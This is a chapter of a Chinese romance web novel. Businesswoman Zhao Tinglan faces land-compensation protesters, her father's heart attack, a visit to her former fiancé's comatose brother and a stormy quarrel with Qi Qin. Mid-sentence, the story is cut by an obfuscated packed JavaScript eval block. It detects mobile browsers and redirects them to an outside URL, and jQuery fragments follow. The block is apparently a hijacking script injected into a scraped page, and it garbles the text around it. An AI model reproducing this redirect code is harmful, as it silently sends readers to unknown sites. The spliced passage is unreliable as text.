度假村的二期工程进行的如火如荼,沈刻出差回来后听说赵听澜当众打电话到秘书部的事情后不轻不重的点了两句杨旎。
事发到现在两三天,整个万科秘书部对这件事都噤若寒蝉,也都不约而同的远离这位新来的杨秘书。
节前万科要更换一批新的安保设备,沈刻忙的不可开交,忍不住给齐覃打电话。
“你什么时候回来?”
齐覃刚开完会,连轴转几天嗓音也有些沙哑,“就这两天。”
两人闲聊着,秘书突然端了一台电脑进来,“沈总,整栋大楼的监控设施更新过了,监控室那边已经把实时连接同步到您的设备,您过目一下。”
沈刻示意秘书放到桌上,他随便调出一段,瞥见一个男人的身影时眼睛突然闪过一丝玩味。
他把手机搁到一边,调出不同日期的同一时段的监控录像,两分钟后,沈刻慢悠悠的点开免提。
“阿衍。”
“嗯?”
“你老婆要没了。”说罢他截了两张图传给齐覃。
电脑提示音咚咚响起两声,齐覃打开两天框后淡淡的扫两眼,随后挂断电话,然后拉开抽屉,拿出一小沓照片。
角度有些刁钻,背景都大差不差,各种办公场合都有。
那是钟烨频繁出现在赵听澜身边的照片,日期截止到今天早上。那位华丰的小公子签完合同后好似有了常驻燕城的打算,不知道是不是为了两家公司的合作还是为了什么别的人,频繁出入万科大厦,亲自载着赵听澜往度假村盯项目进度。
齐覃划开手机,打开和赵听澜的聊天框,空荡荡一片连个标点符号都没有。
-
赵听澜连口饭都没来的及吃急匆匆的和夏宁往燕郊开车去。
燕郊的朗世正在招商阶段,之前的拆迁户觉得这块地皮有价无市,非说是赵氏私吞了他们的赔偿金,几十户人非要赵氏给个说法。
夏宁把着方向盘车子开的飞快,大中午的天连个太阳都没有,黑压压的一片乌云悬在脑袋上,冷风一阵阵的吹,车载电台一遍遍播报燕城即将迎来大降温,预计未来七天内有大雪。
“赵总,王董已经带着人提前过去了,您脸色怎么这么难看?”夏宁点了两下蓝牙耳机,后视镜里瞥了一眼赵听澜。
赵听澜摆摆手,轻阖着眼脸色有些发白,“没事,生理期。”
燕郊这块地的开发是三年前就已经开始了,当时这块地皮所有人都看不上,地理位置偏僻,距离市区有两个小时车程,周围光秃秃的也没有什么游乐设施,上面定了拆迁时间后就着手准备拍卖这块地。
那时候赵听澜刚接手赵氏不久,这块叫不上价的地皮被赵听澜低价收入囊中,业内很多人对这块地皮的开发始终持观望态度,一直到九月份赵氏资金链断联业内人在对这块地皮更加不看好。
直到齐覃注资赵氏,连带着周边设施的建造逐渐完善连带着上头出了文件要在明后两年着重加强燕城郊区农村的基础建设并且会给承办企业一定的诱优惠政策。
几乎是一夜之间,这块地的价格水涨船高。
聚众的人越来越多,赵听澜还没下车就看到朗世外面围了一圈老人和小孩,手里扯着横幅,不停的喊着赔钱,态度非常恶劣。
夏宁把车子停在朗世后面,赵听澜穿过朗世大楼走到正大门和王董站到一起,数九寒天,冷风似刀子似的往脸上扎,王董手里拿着一个喇叭,整张脸涨的通红,嗓子哑的不成样子。
“你怎么来了?”王董抿了抿干燥的冻得发白的唇瓣,看了眼脸色明显有些泛白的赵听澜。
“天冷,怕您身子受不住。”赵听澜拢了拢大衣,“怎么人越来越多了?”
王董摇摇头叹了口气,“要钱,当时那块地根本没人要,我们也按照赔偿标准进行赔偿,并且购买房产时只要是赵氏旗下都可以给八折优惠。”
“黑心企业,赶紧赔钱!占了我们的房租了我们的地给那么少的钱就打发我们走!”
“不赔钱我们就去你们公司闹,去电视闹,去政、府闹!我看你们这劳什子生态体验园还做不做的起来!听说你们的度假村都开始建了!不知道是不是拿我们的赔偿金!”
围观的人一层包着一层,天气愈发阴沉,夏宁走过来趴在赵听澜耳后小声说了两句话。
随后赵听澜接过她手里的喇叭,冷着一张脸,往前迈了一步,堪堪站在那些人面前。
她环视一周,把音量调到最大,压着怒火尽量平静的和他们沟通,“各位安静一下——”
下面的人看站出来一个年轻女人明显有些愣怔。
赵听澜抬手示意保安往后稍撤开,继续道:“先介绍一下,赵氏集团执行总裁,赵听澜。”
“三年前燕郊这块地的拍卖新闻迄今为止还在网上查得到,几乎叫不上什么价,甚至业内对这块地也并不看好,要什么没什么。拆迁后,赵氏已经尽了最大努力安置,购房优惠,现金补偿,你们统统答应了。三年后因为政策变动,燕郊这块地价格也变高,然后你们觉得我们赵氏欺骗了你们,占了你们的便宜,请问合理吗?”
女人神态平静,静静地注视着他们。
那些人安静几秒后又开始新一轮的质问,他们个个红着脸,举着手机。
为首的一个中年男人大声道:“可是现在这块地变得很值钱!”
这群人随时随地都能冲上来,王董把赵听澜往后拉了一下,自己挡在前面,怒目圆睁的喝道:“难不成现在这块地跌价我还要找你们要差价不成?当时拆迁的时候房子拿了,钱拿了,甚至一部分人的工作调动赵氏能安排的都给安排了,还想干什么?聚众闹事还要我们拿钱给你们?”
“你们自己看看这地方!三年前毛都没有,我们公司没日没夜的开工,请专家,建大棚,造生态,钱一分没挣,现在出台新政策扶持,那我们之前花的几个亿找谁报销?”
闹事村民举着的横幅越来越低,杆子被扔在地上。王董越讲越兴奋,仿佛要把这阵子的憋屈全都讲出来,他往后摆摆手示意赵听澜先走,这儿有他盯着。
赵听澜拗不过他,交代了秘书几句就步履匆匆的离开了。
赵听澜心慌的厉害,脸色越来越差,夏宁开的很快,眉眼间都是担忧,“我带您去医院看看吧?”
“不用,回公司,晚点还有会。最近天气不好,王董腿脚不好,安排一下,我明天去度假村守着。”
夏宁又劝了两句无果,只得开车回公司。
刚下高架,赵听澜的手机就响了,是文忠打来的。赵听澜小腹绞的厉害,她拧着眉用力按压两下重重的吐出两口浊气接通电话。
文忠声音非常着急,“阿澜,先生看到朗世闹事的新闻晕倒了,现在在抢救,你赶紧过来一下吧。”
赵听澜脑子嗡的一声,霎那间变得空白,周身力气一下泄了,她不停的吞咽喉咙,颤抖的开口,“夏宁,快去万科疗养院,快点。”
夏宁点点头,当即打了转向灯飞速往回开。赵听澜面无表情的靠在车窗上,手掌用力捏着手机,呼吸声一下比一下重。
车子刚到停车场,还未停稳,赵听澜就往导医台跑,“麻烦问一下,赵禹江,赵禹江在几楼的手术室。”
导医小姐快速查询:“五楼,电梯在左手边。”
她连道谢都忘记,茫然的往电梯口跑,疯狂的摁着上行按钮,偏偏这时候电梯迟迟不往下走。
她转身就拉开楼梯间的门,背影果断又决绝,拼命的往上跑。途径三楼的时候不小心踩空,她整个人摔在楼梯面上,咚的一声闷响。
掌心和膝盖火辣辣的,脚踝处一阵钻心的疼。
赵听澜忍着不适爬起来,跌跌撞撞的走向五楼。
文忠一直在手术室门口等,远远的看见赵听澜一瘸一拐的走过来时眼里遮不住的担忧,“阿澜,你这是怎么了?”
“不小心跌了一下,没事。”赵听澜扶着文忠坐在休息区,望着关闭的手术室门眼睛红了个透,哽咽的问:“忠叔,我爸怎么回事?”
文忠叹了口气,“医生说是情绪太激动,急性心梗,还好发现的及时,医生说没有大问题,接下来更要精心养着。”
赵听澜长舒了一口气,紧随而来的是脚踝膝盖发僵的疼,她皱着眉头小心翼翼的挪动着,脚踝一碰就钻心的疼,没一会儿就肿的特别高。
文忠劝赵听澜赶紧去找医生看看,自己在这就行。
赵听澜摇摇头,头发乱糟糟的散在脑后,她低着头眼里一滴一滴的往下掉。
伤口疼,心里也疼。
-
钟烨来了。
他推着轮椅往五楼来,身后跟着夏宁,看见赵听澜仰头靠在墙上顿觉有些心疼,“夏宁说你不舒服,赵叔叔的手术结束还早,我带你去看看吧?”
“不用吗,我等我爸出来。”
文忠又劝着她,“有我守着,你去包扎一下伤口洗把脸,免得你爸醒了看见你心里不好受。”
赵听澜怎么劝都不走,一直等到手术结束,医生说手术顺利后赵听澜一颗心才落回到胸腔里,她看着赵禹江被推出来,瘦削的手背上扎着针,眼睛紧闭着,呼吸微弱。
她眼泪一个劲的往外涌。
随行的护士说:“病人已经脱离危险,麻醉过了就会苏醒,现在留一个人陪护就行。”
文忠:“阿澜,今天天气不好,你让你朋友先走,让小宁陪你去看医生,我守着你爸。”
“您半天没吃东西了,我让夏宁去给您打点餐,我自己去就行。”赵听澜说完后转头看向钟烨,“学长,你先走吧,我自己行。”
钟烨摇头苦笑,“听澜,我自己实在不放心,我送你看完医生再走吧。”
夏宁也劝她,“老板,你自己去我实在不放心,就让小钟总陪着您吧,好也有个照应,这是您的包,您有事随时联系我。”
赵听澜无奈点点头,任由钟烨推着她往电梯间走。
护士给她处理了掌心的擦伤,又检查了一下膝盖和脚踝,拍完片拿完药后递给她两个冰袋冷敷。
赵听澜把冰袋放进包里,扭头对钟烨挤出一个笑,“学长今天天不太好,你先走吧,今天多谢。”
钟烨看着赵听澜情绪算不上好,叹了口气就离开了。
赵听澜转着轮椅途径护士台,听见两个小护士的讲话声。
“今天齐总又请了两位专家来看,不知道齐先生什么时候能醒。”
“三年了,中西医专家不停的看,齐先生连点动静都没有,我都替齐总忧心。”
赵听澜的脊背猛然僵直——齐琛也在这家疗养院?
这是万科旗下的疗养院,配套的医疗资源说是燕城的顶尖也不为过,基本不对外开放,齐琛住在这里也是情理之中。
她撑着轮椅把手慢慢的站起来,走到护士台鬼使神差的问,“请问三年前那位齐先生的病房在哪里?”
两位护士瞬间止住话头,狐疑的看着她,“你是谁?”
赵听澜从包里扒拉出来万科的通行电梯卡,随便编了个理由,“我是齐总的新秘书,他在外地出差,陈秘书让我过来看看。”
那护士半信半疑的检查了一下电梯卡,说,“在14楼,你进去第一间就是。”
赵听澜把轮椅归还,独自一人上了电梯。
“齐总不是不近女色吗?什么时候招了个新秘书?还是女的。陈秘书平常也不怎么来疗养院啊?怎么今天派了个新秘书来?”
“谁知道呢,估计是又有专家来吧......”
............
十四楼的消毒水味道很淡,心电监护仪滴滴作响,赵听澜推开门,一步步走向病床。
齐琛安静的躺在床上,双眼紧闭,桌上摆着病例报告,第一页就写着临床诊断为脑死亡。
他瘦了很多,脸颊眼窝都凹陷。赵听澜突然想起第一次见到齐琛的场景,那是订婚那天,大冷天只穿了单薄的休闲装,怀里抱着一个奶娃娃,笑着坐在她面前。
说:“我弟弟这个人有些认死理,劳烦赵小姐多担待了。”
那时候赵听澜红着脸说“是他担待我”,余光里却忍不住偷瞄这位传说中齐家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458957|169656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的继承人,他长相十分温润,线条柔和又流畅,那双和齐覃相似的眼睛总是带着笑,送的订婚礼物也很合赵听澜的心意。
婚前一月齐琛还特地登上赵家,亲自送来一套首饰说这是齐覃母亲单独留给未来儿媳妇的聘礼,又对赵听澜说,“我弟弟这个人认死理,劳烦赵小姐多担待。”
赵听澜那时怎么回答的——她笑意盈盈的说,“会的。”
她盯着病床上的瘦弱男人几不可闻的叹了声气,那声抱歉还没说出口,肩膀就被人生生捏住。
齐覃俯首贴着她耳朵,声音阴冷,几乎是一字一句的砸在她心头,“你怎么有脸来看他的。”
赵听澜轻声回:“路过,顺便来看看。”
“玩的还开心吗?”齐覃迫使她转身,两个人面对面的站着,后面还躺着一个沉睡的齐琛。
他脸上挂着讽刺的笑,一双眼睛淬着冷意,“阿澜,华丰的大公子对你的情意可真不浅呢。”
齐覃慢条斯理的抽出几张照片扔在地上,没头没尾的说,“你忘记冯君的下场了吗?”
坚硬的酒瓶砸在脑袋上,顺着太阳穴留下的血花,赵听澜的手开始颤抖,她下意识攥紧掌心,已经止血的掌心又开始出血,掌心变得黏腻,混着冷汗。
她低声说,“你别动他。”
“不动他?”齐覃犹如一条蛰伏已久的毒蛇,冰冷的手指从赵听澜的脸侧,一直到脖颈,然后扼住她下巴,“阿澜,我说过,你只能是我的。”
赵听澜别开脸不想看他,却不曾眼神落在齐琛身上,她再次抖着嗓子说,“那我离开你,和三年前一样,二十亿。”
“齐覃,你放过我吧。”
鼻息间涌上来的全都是齐覃身上的气味,浓郁湿冷的白松香已经变得很淡,只剩下冷冽锋利的木质香和烟草香。
赵听澜推开他,像三年前拎着婚纱扔掉话筒一样跑掉,她从楼梯间跑下去,一刻不停,从十四楼到一楼,发动汽车,往度假村的方向走。
白色宾利车行驶在国道公路上,不远处跟着一辆黑色迈巴赫,外面天空可见度越来越低,风雨欲来。
赵听澜发了狠的踩油门,用力眨着眼睛把那点泪意逼回去。
她把车子甩停,站在空旷的建筑公司上,因为天气不好工人已经提前收工,二期建造的桩子已经打好。她来的匆忙,没有休息室的钥匙,浑身疼的厉害,只得回老家休息。
那辆黑色迈巴赫伴随着一阵嘶厉的刹车声停住,赵听澜突然定在原地。
齐覃打开车门,目光深幽浓稠,他眉心紧紧的拧着,好似在看一个无理取闹的玩意儿。
他说,“阿澜,你听话,我可以既往不咎。”
“不管是和华丰合作,还是去看我大哥。”他顿了顿,视线停在她苍白的脸上,“你受伤了,我带你回清苑包扎。”
他重复着,“你跟我回去,我什么都给你。”
风越来越大了,吹的人睁不开眼睛。
赵听澜突然扑簌簌的落下泪来,她浑身打着颤,又哭又笑。
“你总是这样。”她流下两行泪,看着走向自己的齐覃,“知道杨旎要那串海螺珠,就要我放弃。知道我讨厌她,说要什么都给我,转头她从铂远跳槽进了万科。”
她抽了两下鼻子,“还有你大哥,齐覃,你真的不知道齐琛为什么出事吗!”
赵听澜的声音逐渐变大,风声作响,树枝摇摇欲坠,她擦了眼泪,“是因为齐萍把我悔婚的事情告诉齐琛,齐琛本来那天不用参加婚礼的,是你姑姑,是你爸,非要他来。”
齐覃沉默两秒,艰涩的开口,“抱歉我不知道。”
“你总是不知道。”赵听澜费力的睁着眼睛,脸颊逐渐变得通红,她说,“就像你不知道我为什么非要等到婚礼那天悔婚一样。”
齐覃瞳孔瞬间紧缩,但也仅仅是那一秒,“阿澜,过去的事我可以既往不咎——”
“你凭什么和我谈既往不咎——”赵听澜痛恨他这副波澜不惊的模样,她情绪逐渐平稳下来,用那双湿漉漉的眼睛看着他,声音很轻几乎要被风声盖过:“是因为你母亲留给你的那十亿基金吗。”
赵听澜垂下眼睛,自言自语,“那时你刚好回国,齐家为你挑选合适好拿捏的联姻对象,你从小在绥城长大,不可能乖乖听齐家安排。”
“恰好我出现,一个能助力你入主齐家,还对你死心塌地的人,还不用担心我会帮着齐家对付你。”她深吸了一口气,“更重要的是能拿到那十亿现金。”
“所以我悔婚了——给你十亿,我们银货两讫,可是你为什么还要来招惹我。”
“我都已经要忘记你了,你还要我回到你身边,当你豢养的一只鸟,你纵容我,娇养我,又要占/有我,我不要的你要给我,我要的你加倍给我。”
赵听澜抓着齐覃的西装,掌心的血浸湿了西装,“你这是在报复吗?”
她轻飘飘的一句话犹如千斤重顶砸在齐覃头上,他扶着她,唇瓣张张合合数次,想要解释不只是因为那十亿才要和你结婚,解释我不是想要你当我的金丝雀,不是报复你。
齐覃心乱如麻,盯着赵听澜那张脸恍然失去思考的能力,脑子里不停盘旋着那天雨夜赵听澜窝在他怀里控诉的那句‘因为你不爱我’。
他无法理解为什么赵听澜非要爱。
他不理解为什么爱比他还要重要。
明明她要的是他,为什么又偏偏要他的爱。
情感缺失导致他对歇斯底里的赵听澜只能做出木讷的反应,甚至来不及说出‘我可以爱你’——
暴风裹着雨雹从九千米高空落下来,赵听澜头上那颗摇摇欲坠的太阳能灯板开始剧烈的摇晃,那根细铁丝倏的一下崩断,直直的往下落。
“阿澜——”齐覃一把抓过赵听澜,弯着腰把她牢牢护在怀里,她的眼泪滑进他的颈窝,干燥的掌心染上粘稠的血液,他甚至来不及问她一句。
‘砰!’厚重的灯板从齐覃滑过齐覃的头颈掉落在地上,像眼泪一样咸涩的雨砸进齐覃的唇缝里。
赵听澜失声尖叫:“阿衍——”